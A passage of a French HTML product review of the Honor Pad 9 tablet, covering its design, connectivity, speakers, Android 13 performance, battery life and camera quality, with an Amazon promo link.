<li><a href="https://www.hihonor.com/fr/tablets/honor-pad-9/" target="_blank" rel="noopener nofollow" title="">Voir la fiche produit sur le site officiel</a></li>
</ul>



<p><img src="media/091d4086.1f381.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f381.png" alt="🎁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Découvrez une offre spéciale à l'occasion du lancement de la tablette :</mark></strong></p>



<p>En utilisant notre lien Amazon et le code promo "<strong>PAD9FROFF</strong>", vous pouvez obtenir 9,90 euros de remise sur la tablette Honor Pad 9 (jusqu'au 24 mars 2023). Si vous êtes membre Amazon Prime, vous pouvez bénéficier d'<strong>une remise supplémentaire permettant d'avoir la tablette à 290 € au lieu de 349,90 €</strong>.</p>



<ul>
<li><a href="https://amzn.to/4a3IbIe" target="_blank" rel="noopener nofollow" title="">Profiter de l'offre</a></li>
</ul>



<p>Si vous appréciez les produits de chez Honor, voici nos précédents tests de smartphone de cette marque :</p>



<ul>
<li><a href="https://www.it-connect.fr/test-honor-magic-6-lite-smartphone-2024/" target="_blank" rel="noopener" title="Test Honor Magic 6 Lite – Un milieu de gamme très séduisant">Test Honor Magic 6 Lite</a></li>



<li><a href="https://www.it-connect.fr/test-honor-90-lite-mon-avis-sur-ce-smartphone-a-moins-de-250-euros/" target="_blank" rel="noopener" title="Test Honor 90 Lite – Mon avis sur ce smartphone à moins de 250 euros">Test Honor 90 Lite</a></li>
</ul>



<h2 class="wp-block-heading">II. Package et design</h2>



<p>La tablette est livrée dans une boite au design soigné, et permettant d'avoir un aperçu sur le design du produit. À l'intérieur de la boite, <strong>Honor a glissé la tablette, un câble USB-C et un guide de démarrage rapide.</strong> Comme pour les smartphones,<strong> faisons une croix sur le chargeur mural</strong>, même si l'on m'a fourni un chargeur non officiel, dans le cadre de ce test.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/9138cc80.Test-HONOR-Pad-9-Package-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1.jpg"><img fetchpriority="high" decoding="async" width="1000" height="752" data-id="77791" src="media/9138cc80.Test-HONOR-Pad-9-Package-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1.jpg" alt="" class="wp-image-77791" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/d1e3c9bf.Test-HONOR-Pad-9-Package-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2.jpg"><img decoding="async" width="1000" height="752" data-id="77790" src="media/d1e3c9bf.Test-HONOR-Pad-9-Package-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2.jpg" alt="" class="wp-image-77790" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/7ff1a706.Test-HONOR-Pad-9-Package-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3.jpg"><img decoding="async" width="1000" height="752" data-id="77789" src="media/7ff1a706.Test-HONOR-Pad-9-Package-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3.jpg" alt="" class="wp-image-77789" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Package-3-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p>Le<strong> grand écran de 12,1 pouces est appréciable</strong> et nous constatons une nette différence avec une tablette 10 pouces. Des<strong> bordures noires entourent l'écran</strong> et elles sont assez fines puisque Honor annonce un ratio châssis / écran de 88%. Ceci signifie que<strong> l'écran occupe de 88% de la surface</strong>. La caméra frontale est positionnée au centre de l'écran, sur la partie supérieure, lorsque la tablette est posée à l'horizontale (en mode "paysage"). D'ailleurs, c'est à l'extrémité gauche de la tranche supérieure que nous retrouvons l'ensemble des boutons : un gros bouton pour gérer le volume et un bouton Power.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/365af745.Test-HONOR-Pad-9-Face-avant-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1.jpg"><img decoding="async" width="1000" height="752" data-id="77793" src="media/365af745.Test-HONOR-Pad-9-Face-avant-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1.jpg" alt="" class="wp-image-77793" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/6917074e.Test-HONOR-Pad-9-Face-avant-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2.jpg"><img decoding="async" width="1000" height="750" data-id="77792" src="media/6917074e.Test-HONOR-Pad-9-Face-avant-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2.jpg" alt="" class="wp-image-77792" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2-800x600.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-avant-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p>La tablette bénéficie d'<strong>un châssis intégralement en métal</strong>, avec des angles arrondis. Il <strong>ajoute de l'élégance à l'appareil</strong> et présente l'avantage d'être très peu sensible aux traces de doigts. À l'arrière, nous retrouvons, au centre, le module photo principal de forme circulaire. Il est décrit de la façon suivante par Honor : "<em>Le design de l'appareil photo central arrière tire son inspiration de la lune montante sur la mer endormie et scintillante.</em>" - Même s'il n'est pas discret et assez imposant, il ne contient qu'un seul capteur.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/437c8237.Test-HONOR-Pad-9-Face-arriere-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1.jpg"><img decoding="async" width="1000" height="752" data-id="77795" src="media/437c8237.Test-HONOR-Pad-9-Face-arriere-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1.jpg" alt="" class="wp-image-77795" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/2ecd30cb.Test-HONOR-Pad-9-Face-arriere-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2.jpg"><img decoding="async" width="1000" height="750" data-id="77794" src="media/2ecd30cb.Test-HONOR-Pad-9-Face-arriere-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2.jpg" alt="" class="wp-image-77794" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2-800x600.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Face-arriere-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p>L'Honor Pad 9 contient le strict minimum au niveau de la connectique : <strong>un port USB-C</strong>. Ceci signifie qu<strong>'il n'est pas possible d'étendre la mémoire avec une carte microSD</strong> (mais l'espace de stockage interne est tout de même généreux : 256 Go), ni même de connecter un casque avec <strong>une prise Jack, car il n'y en a pas</strong>. Il conviendra de se tourner vers la connectivité Bluetooth pour connecter des accessoires externes. Par ailleurs, même si ce n'est pas systématique sur les tablettes, sachez qu'<strong>elle est livrée sans stylet</strong>.</p>



<blockquote class="wp-block-quote">
<p><strong>Note </strong>: le clavier Bluetooth <strong>Honor Pad 9 Smart Bluetooth Keyboard</strong> est adapté à cette tablette. Consultez <a href="https://www.hihonor.com/fr/accessories/honor-pad-9-keyboard/buy/" target="_blank" rel="noopener nofollow" title="">ce lien</a> pour en savoir plus.</p>
</blockquote>



<p>Je me dois d'insister sur la présence de <strong>8 haut-parleurs répartis à droite, à gauche et sur la tranche inférieure de la tablette</strong>. Il est clair que cela permet d'avoir une bonne immersion lorsque l'on regarde une vidéo, ou pour avoir un son sympa lorsque l'on écoute de la musique. Pour<strong> les micros</strong>, sachez qu'<strong>il y en a 2 sur la tranche supérieure de la tablette</strong>, à proximité des boutons.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/9d54f77f.Test-HONOR-Pad-9-Cote-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2.jpg"><img decoding="async" width="1000" height="752" data-id="77796" src="media/9d54f77f.Test-HONOR-Pad-9-Cote-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2.jpg" alt="" class="wp-image-77796" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-2-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/aed10e74.Test-HONOR-Pad-9-Cote-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1.jpg"><img decoding="async" width="1000" height="752" data-id="77797" src="media/aed10e74.Test-HONOR-Pad-9-Cote-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1.jpg" alt="" class="wp-image-77797" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-HONOR-Pad-9-Cote-1-50x38.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p>Nous avons fait le tour de la tablette et nous pouvons également noter l'<strong>absence d'un lecteur biométrique</strong>. Cependant, le déverrouillage de la tablette pourra être effectué <strong>à l'aide de la reconnaissance faciale</strong>. Enfin, bien qu'elle soit grande, cette tablette n'est pas lourde : 555 grammes, ce qui permet de pouvoir la transporter et la maintenir facilement.</p>



<h2 class="wp-block-heading">III. Performances, système, etc.</h2>



<p><strong>Le Snapdragon 6 Gen 1 épaulé par 8 Go de RAM, et le système MagicOS 7.2 basé sur Android 13 permettent-ils à cette tablette de répondre à tous les besoins du quotidien ? Voici mon ressenti.</strong></p>



<p>Précision : la tablette Honor Pad 9 est équipée de <strong>8 Go de mémoire vive (RAM)</strong>, mais celle-ci peut monter<strong> jusqu'à 16 Go grâce à la technologie HONOR RAM Turbo</strong>. Lorsque la tablette sollicite cette fonctionnalité, l'espace de stockage est utilisé pour avoir de la mémoire vive supplémentaire.</p>



<p>L<strong>'interface est soignée et agréable à utiliser</strong>. Nous pouvons utiliser <strong>deux systèmes de navigation </strong>: par geste ou avec trois touches de navigation (positionnée dans le bas de l'écran). Avec ses <strong>icônes d'applications et ses dossiers arrondis</strong>, ainsi que par les couleurs choisies, cette interface me fait penser un peu à iOS... Mais nous sommes bien sur une tablette Android !</p>



<figure class="wp-block-image size-large"><a href="media/13df62ff.Test-Honor-Pad-9-Tablette-12-pouces.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces.jpg"><img decoding="async" width="800" height="602" src="media/39b330a1.Test-Honor-Pad-9-Tablette-12-pouces-800x602.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces-800x602.jpg" alt="Test Honor Pad 9 - Tablette 12 pouces" class="wp-image-78315" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Test-Honor-Pad-9-Tablette-12-pouces.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p><strong>Cette tablette est livrée avec un système basé sur Android 13, ce qui est tout de même regrettable sur un produit lancé en 2024</strong>, car Android 14 est disponible depuis octobre 2023. Espérons qu'une mise à jour soit prévue par la suite... </p>



<p>Le système est livré avec <strong>un ensemble d'applications préinstallées, et elles sont assez nombreuses</strong>. Voici la liste : Netflix, Facebook, Booking.com, TikTok, Trip.com, WPS Office. À cela s'ajoute<strong> toute la panoplie d'applications et services Google</strong>, ainsi que<strong> des applications développées par Honor</strong>. Par exemple, il y a l'App Market d'Honor qui est un magasin d'applications dans le même esprit que le Play Store de Google.</p>



<p>Avec cette tablette, vous pouvez<strong> utiliser toutes les applications courantes sans aucune difficulté</strong>, la puce graphique Adreno 710 intégrée au SoC est satisfaisante et il n'y a pas de ralentissement particulier à l'usage. Néanmoins, attention à la gestion de la 3D dans certains jeux où la tablette peut montrer ses limites même si vous pourrez jouer à la plupart des jeux.</p>



<p>Pour exploiter pleinement le grand écran, <strong>il y a le mode multi-fenêtres qui est pratique puisqu'il permet de lancer plusieurs applications simultanément sur la tablette</strong> : idéal pour les adeptes du multi-tâches, mais pas seulement...</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/c7610ac1.Honor-Pad-9-Apercu-du-systeme-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2.jpg"><img decoding="async" width="1000" height="625" data-id="78346" src="media/c7610ac1.Honor-Pad-9-Apercu-du-systeme-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2.jpg" alt="" class="wp-image-78346" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-2-50x31.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/28cfa06e.Honor-Pad-9-Apercu-du-systeme-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1.jpg"><img decoding="async" width="1000" height="625" data-id="78345" src="media/28cfa06e.Honor-Pad-9-Apercu-du-systeme-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1.jpg" alt="" class="wp-image-78345" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-1-50x31.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/389c88f2.Honor-Pad-9-Apercu-du-systeme-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3.jpg"><img decoding="async" width="1000" height="625" data-id="78344" src="media/389c88f2.Honor-Pad-9-Apercu-du-systeme-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3.jpg" alt="" class="wp-image-78344" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3.jpg 1000w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Apercu-du-systeme-3-50x31.jpg 50w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></figure>
</figure>



<p>Enfin, je n'en avais pas encore parlé, mais <strong>la qualité d'affichage est satisfaisante et la bonne luminosité est un point positif à mettre en évidence. </strong>Ceci est d'autant plus vrai que l'écran est sensible aux reflets (cela aura tendance à mettre en évidence les traces de doigts...). N'oublions pas qu'il ne s'agit pas d'un écran OLED.</p>



<p>Si vous utilisez un smartphone Honor, sachez que vous pouvez profiter d'<strong>Honor Connect</strong> pour que le smartphone et la tablette puissent interagir ensemble. Pour en savoir plus, consultez <a href="https://www.hihonor.com/fr/honor-connect/" target="_blank" rel="noopener nofollow" title="">cette page</a> du site officiel Honor.</p>



<h2 class="wp-block-heading">IV. Autonomie de la tablette</h2>



<p><strong>Sur tous les appareils mobiles, l'autonomie est un critère important. Malheureusement, c'est précisément sur ce point où cette tablette Honor Pad 9 m'a déçue, car pour le reste, la copie est plus que satisfaisante !</strong></p>



<p>Rappelons qu'Honor a pris la décision d'intégrer une batterie d'<strong>une capacité de 8 300 mAh : c'est assez faible</strong>, en comparaison d'autres modèles, surtout que là, il est question d'alimenter un écran de 12,1 pouces !</p>



<p>J'ai effectué la mise en pratique suivante : <strong>lecture de vidéos YouTube en continu (en haute qualité 4K), avec le volume réglé à 50%, la luminosité environ à 60% </strong>(en intérieur). Résultat, le smartphone a <strong>une autonomie de 7 heures et 15 minutes </strong>(temps pour <strong>passer de 100% à 0%</strong>, sans interruption). De son côté, <strong>Honor évoque une autonomie de 11 heures lors de la lecture de vidéo en local</strong> (ce qui est différent, car dans mon test, la vidéo est streamée via Wi-Fi).</p>



<p>Cela signifie qu'avec cette tablette, <strong>vous pouvez tenir une petite journée, mais pas plus</strong>. C'est un point important à prendre en considération, en fonction de votre besoin et vos usages.</p>



<figure class="wp-block-image size-large"><a href="media/06d844ae.Avis-tablette-HONOR-Pad-9.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9.jpg"><img decoding="async" width="800" height="602" src="media/b6006bf8.Avis-tablette-HONOR-Pad-9-800x602.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9-800x602.jpg" alt="Avis tablette HONOR Pad 9" class="wp-image-77798" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9-800x602.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Avis-tablette-HONOR-Pad-9.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Bon, la bonne nouvelle malgré tout, c'est que <strong>la tablette se recharge rapidement : comptez environ 1 h 45 pour recharger la tablette complètement</strong> si vous utilisez un chargeur compatible 35 Watts. En <strong>30 minutes</strong>, vous pourrez <strong>récupérer approximativement un tiers de la batterie</strong>, ce qui permettra de repartir assez rapidement pour plusieurs heures d'utilisations.</p>



<h2 class="wp-block-heading">V. Qualité des photos</h2>



<p>Prenons le temps d'évoquer la qualité des photos, notamment celles réalisées avec le <strong>capteur photo principal de 13 mégapixels</strong>, situé au dos de la tablette. Il s'agit d'un <strong>capteur grand-angle (f/2)</strong>. Dans les meilleures conditions, c'est-à-dire en extérieur, en pleine journée,<strong> la tablette est capable de prendre des photos convenables, mais les couleurs sont un peu fades. </strong>Et surtout, si vous prenez en photo une personne ou un animal en mouvement, c'est la photo floue assurée...</p>



<p>À cela s'ajoute un lissage prononcé sur certaines photos, mais pour une tablette dont ce n'est pas du tout la fonction première, c'est acceptable. De nuit, un bruit s'ajoute sur l'image, ce qui impacte la qualité globale de la photo (sans surprise).</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-6 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img decoding="async" width="800" height="500" data-id="78348" src="media/1534cc85.Honor-Pad-9-Photo-3-800x500.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-3-800x500.jpg" alt="" class="wp-image-78348" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-3-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-3-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-3-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-3-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-3-50x31.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-3.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



